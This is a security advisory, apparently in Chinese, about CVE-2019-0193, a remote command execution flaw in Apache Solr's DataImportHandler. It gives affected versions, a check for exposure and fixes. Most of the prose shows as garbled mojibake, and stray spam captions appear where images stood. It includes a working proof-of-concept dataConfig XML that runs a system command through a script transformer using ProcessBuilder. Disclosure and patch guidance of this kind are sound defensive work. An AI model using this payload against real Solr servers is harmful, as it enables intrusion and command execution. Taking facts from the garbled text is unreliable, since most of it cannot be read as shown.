Apache SolrÔ¶³ÌºÅÁîÖ´Ðзì϶´ëÖý¨Òé

°ä²¼¹¦·ò 2019-08-08

? ·ì϶±àºÅºÍ¼¶±ð


CVE±àºÅ£ºCVE-2019-0193£¬Î£ÏÕ¼¶±ð£ºÑϳÁ£¬CVSS·ÖÖµ£º¹Ù·½Î´ÆÀ¶¨


Ó°Ïì°æ±¾


ÊÜÓ°ÏìµÄ°æ±¾


ºÏÓÃÓÚSolr < 8.2.0ÇÒ¿ªÆôÁËDataImportÖ°ÄÜ¡£


·ì϶¸ÅÊö


Apache SolrÊÇÃÀ¹ú°¢ÅÁÆæ£¨Apache£©Èí¼þ»ù½ð»áµÄÒ»¿î»ùÓÚLucene£¨Ò»¿îÈ«ÎÄËÑË÷ÒýÇæ£©µÄËÑË÷·þÎñÆ÷¡£¸Ã²úÆ·Ö§³Ö²ãÃæËÑË÷¡¢´¹Ö±ËÑË÷¡¢¸ßÁÁÏÔʾËÑË÷Á˾ֵÈ¡£


Õâ´Î·ì϶³Ê´Ë¿ÌApache SolrµÄDataImportHandler£¬¸ÃÄ£¿éÊÇÒ»¸ö¿ÉÑ¡µ«³£ÓõÄÄ£¿é£¬ÓÃÓÚ´ÓÊý¾Ý¿âºÍÆäËûÔ´ÖÐÌáÈ¡Êý¾Ý¡£


¸Ã·ì϶ԴÓÚÓû§ÔÚsolrconfig.xmlÎļþÖÐÉèÖÃÁËDataImportHandler£¬¿ªÆôÁËDataImportÖ°ÄÜ¡£DataImportHandlerÄ£¿éÔÊÐíÓû§×Ô¼ºÔ̺¬¾ç±¾£¬À´½øÐÐÅäÖ᣹¥»÷ÕßÄܹ»Í¨¹ý»ú¹Ø¶ñÒâµÄ¾ç±¾½»ÓÉת»»Æ÷½øÐнâÎö£¬ÔÚSolr½âÎöµÄ¹ý³ÌÖв¢Î´¶ÔÓû§µÄÊäÈë×ö²é³­£¬¿Éµ¼Ö¹¥»÷ÕßÔ¶³ÌÔÚSolr·þÎñÆ÷ÉÏÖ´ÐкÅÁî¡£


·ì϶ÑéÖ¤


POC:


<?xml version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
     type="JdbcDataSource"  
     driver="com.mysql.jdbc.Driver"  
     url="jdbc:mysql://localhost:3306/mysql"  
     user="root"  
     password="123456"/>
<script ><![CDATA[
   function f2c(row) {
      var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
     return row;
   }
   ]]>
 </script>  
<document>  
 <entity name="Users" query="SELECT 1" transformer="script:f2c">
 </entity>  
</document>  
</dataConfig>


½Ó¼ûurl:http://ip:8983/solr/#/core1/dataimport//dataimport£¬´æÔÚÕâ¸öõè¾¶£¬¾ÍÖ¤Ã÷Óû§µÄsolr£¬ÓпÉѡģ¿éDataImportHandler£¬´æÔÚ·ì϶ÀûÓ÷çÏÕ¡£Ïê¼ûÏÂͼ£º

 

GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾


¸Ã·ì϶ӰÏì°æ±¾Solr < 8.2.0£¬ÔÚDashboardÒ³ÃæÄܹ»²é¿´solrµÄ°æ±¾£¬Ïê¼ûÏÂͼ£º

 

GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾


½¨¸´½¨Òé


½«Apache SolrÉý¼¶ÖÁ8.2.0»ò¸ü¸ßµÄ°æ±¾¡£


һʱ½¨¸´½¨Ò飺


1¡¢ ±à×ësolrconfig.xml£¬½«ËùÓÐЧ¹Ì¶¨ÖµÅäÖõÄDataImportHandlerÓ÷¨ÖеÄdataConfig²ÎÊýÉèÖÃΪ¿Õ×Ö·û´® £»

 

GA»Æ½ð¼×¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾


2¡¢È·±£ÍøÂçÉèÖÃÖ»ÔÊÐí¿ÉÐŵÄÁ÷Á¿ÓëSolr½øÐÐͨѶ£¬³ö¸ñÊÇÓëDIHÒªÇó´¦Ö÷¨Ê½µÄͨѶ¡£


²Î¿¼Á´½Ó


https://issues.apache.org/jira/browse/SOLR-13669